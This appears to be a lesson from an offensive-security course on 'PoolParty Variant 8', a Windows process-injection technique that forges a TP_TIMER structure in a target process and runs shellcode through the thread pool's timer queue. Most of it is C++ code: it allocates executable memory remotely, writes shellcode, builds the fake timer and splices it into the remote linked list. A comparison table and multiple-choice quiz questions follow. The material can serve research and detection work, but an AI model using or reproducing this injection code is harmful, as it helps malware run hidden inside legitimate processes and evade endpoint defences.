Difficulty: Advanced

Module 7: TP_TIMER Insertion

PoolParty Variant 8: Inserting a crafted TP_TIMER item into the target pool’s timer queue, arming it with TpSetTimer, and triggering shellcode execution on timer expiry.

Module Objective

Understand how PoolParty Variant 8 injects a crafted TP_TIMER structure into the target process, arms it with an immediate due time, and leverages the thread pool’s internal timer subsystem to dispatch the callback through the IOCP to a worker thread. This variant demonstrates that even time-based dispatch mechanisms can be abused for injection.

1. Timer-Based Thread Pool Callbacks

The Windows thread pool supports timer callbacks: a function is called when a specified time elapses. Internally, the timer subsystem uses a dedicated timer thread (TppTimerpExecuteCallbacks) that manages an ordered list of TP_TIMER structures and posts completion packets to the pool’s IOCP when timers expire.

Normal Timer Flow

TpAllocTimer
Create TP_TIMER
TpSetTimer
Arm with due time
Timer expires
TppTimerThread fires
Post to IOCP
Completion packet
Callback runs
Worker thread

1.1 TP_TIMER Internals

C++ (Reconstructed)// TP_TIMER structure (simplified, reverse-engineered)
struct TP_TIMER {
    // Inherited from TP_TASK base
    TP_TASK             Task;           // Callback function + context
    PTP_POOL            Pool;           // Owning pool

    // Timer-specific fields
    LIST_ENTRY          WindowEntry;    // Position in timer window list
    LIST_ENTRY          ExpirationEntry;// Position in expiration queue
    LARGE_INTEGER       DueTime;        // Absolute time for first fire
    ULONG               Period;         // Recurring interval in ms (0=one-shot)
    ULONG               Window;         // Coalescing window in ms
    BOOLEAN             IsSet;          // Whether the timer is armed
    ULONG               Flags;
};

The timer thread maintains a sorted list of pending timers. When the current time passes a timer’s DueTime, the timer thread removes it from the expiration queue and posts its callback to the IOCP for a worker thread to execute.

2. Variant 8: TP_TIMER Insertion

Variant 8 crafts a complete TP_TIMER structure in the target process, inserts it into the timer queue, and arms it with an immediate due time. When the timer “expires” (immediately), the timer thread dispatches the callback through the IOCP to a worker thread.

Variant 8 Attack Flow

Allocate shellcode
VirtualAllocEx
Craft TP_TIMER
Callback = shellcode
Arm timer
DueTime = now
Shellcode fires
Via worker thread

2.1 Implementation

C++// Variant 8: TP_TIMER Insertion

// Step 1: Allocate and write shellcode in target process
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
    shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
                   shellcodeSize, NULL);

// Step 2: Craft a TP_TIMER structure
// The callback points to our shellcode
TP_TIMER fakeTimer = { 0 };
fakeTimer.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeTimer.Task.Context = NULL;
fakeTimer.Pool = (PTP_POOL)targetPoolPtr;

// Set DueTime to fire immediately (negative = relative, 0 = now)
fakeTimer.DueTime.QuadPart = 0;
fakeTimer.Period = 0;        // One-shot
fakeTimer.Window = 0;
fakeTimer.IsSet = TRUE;

// Step 3: Write the fake timer into target process memory
LPVOID remoteTimer = VirtualAllocEx(hProcess, NULL,
    sizeof(TP_TIMER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteTimer, &fakeTimer,
                   sizeof(TP_TIMER), NULL);

// Step 4: Insert into the target pool's timer queue
// Read the TP_POOL timer list head
// Modify LIST_ENTRY pointers to include our fake timer
InsertTimerIntoTargetQueue(hProcess, targetPoolPtr, remoteTimer);

// Step 5: Signal the timer thread to process the queue
// The TpSetTimer equivalent triggers re-evaluation of the
// timer list, causing our immediate-due timer to fire
TriggerTimerReEvaluation(hProcess, targetPoolPtr);

2.2 Timer Queue Manipulation

Inserting into the timer queue requires careful linked list manipulation in the target process’s memory:

C++// Insert our timer at the head of the expiration list
// This ensures it's the next timer to be processed

// Read current list head
LIST_ENTRY timerListHead;
PVOID headAddr = &((PTP_POOL)targetPoolPtr)->TimerExpiration.ListHead;
ReadProcessMemory(hProcess, headAddr, &timerListHead,
                  sizeof(LIST_ENTRY), NULL);

// Point our timer's Flink to current first entry
PVOID entryFlink = &((PTP_TIMER)remoteTimer)->ExpirationEntry.Flink;
WriteProcessMemory(hProcess, entryFlink,
                   &timerListHead.Flink, sizeof(PVOID), NULL);

// Point our timer's Blink to the list head
PVOID entryBlink = &((PTP_TIMER)remoteTimer)->ExpirationEntry.Blink;
WriteProcessMemory(hProcess, entryBlink, &headAddr, sizeof(PVOID), NULL);

// Update the previous first entry's Blink to point to our timer
PVOID prevFirstBlink = (PBYTE)timerListHead.Flink +
                       offsetof(LIST_ENTRY, Blink);
WriteProcessMemory(hProcess, prevFirstBlink,
                   &remoteTimer, sizeof(PVOID), NULL);

// Update list head's Flink to point to our timer
WriteProcessMemory(hProcess, headAddr,
                   &remoteTimer, sizeof(PVOID), NULL);

Timer Queue Stability Risks

Timer queue manipulation carries stability risks because the linked list pointers must be precisely correct. If offsets are wrong for the target’s Windows version, corrupting the timer queue could cause the target process to crash. Unlike Variant 7 (TP_DIRECT), which avoids queue manipulation entirely, Variant 8 requires careful reverse engineering of the TP_POOL timer queue layout.

3. Why Timers Are Effective for Injection

Timer-based callbacks provide several advantages as injection vectors:

Clean Execution Context

The dispatch path for Variant 8 is: Timer thread → IOCP → Worker thread → TppTimerpExecuteCallback → shellcode. At every step, the execution looks like a normal timer callback.

4. Comparison With Other IOCP-Based Variants

PropertyVariant 4 (TP_IO)Variant 7 (TP_DIRECT)Variant 8 (TP_TIMER)
Trigger mechanismFake IOCP packet via NtSetIoCompletionDirect IOCP packet via NtSetIoCompletionExTimer expiration (time-based)
Queue manipulationNone — direct IOCP postNone — direct IOCP postRequired — timer list insertion
Structure complexityTP_IO with pending countMinimal — function pointer onlyTP_TIMER with due time, period, flags
Timing controlImmediateImmediateConfigurable (immediate or delayed)
RepeatabilityPost again to repeatPost again to repeatSet Period > 0 for automatic recurring
Stability riskLow — no queue modificationLow — no queue modificationHigher — timer list corruption possible

5. Implementation Considerations

Practical Notes

Knowledge Check

Q1: In Variant 8, what component actually posts the callback to the IOCP when the timer expires?

A) The attacker process
B) The thread pool's internal timer thread
C) The kernel timer interrupt handler
D) The target application's main thread

Q2: What is the main disadvantage of Variant 8 (TP_TIMER) compared to Variant 7 (TP_DIRECT)?

A) TP_TIMER is more frequently monitored by EDRs
B) TP_TIMER requires administrator privileges
C) TP_TIMER cannot execute shellcode
D) TP_TIMER requires linked list manipulation in target memory, with version-dependent offsets and stability risks

Q3: How can Variant 8 achieve recurring shellcode execution?

A) By setting the TP_TIMER's Period field to a non-zero value
B) By calling CreateRemoteThread repeatedly
C) By inserting multiple TP_TIMER items
D) By modifying the worker factory StartRoutine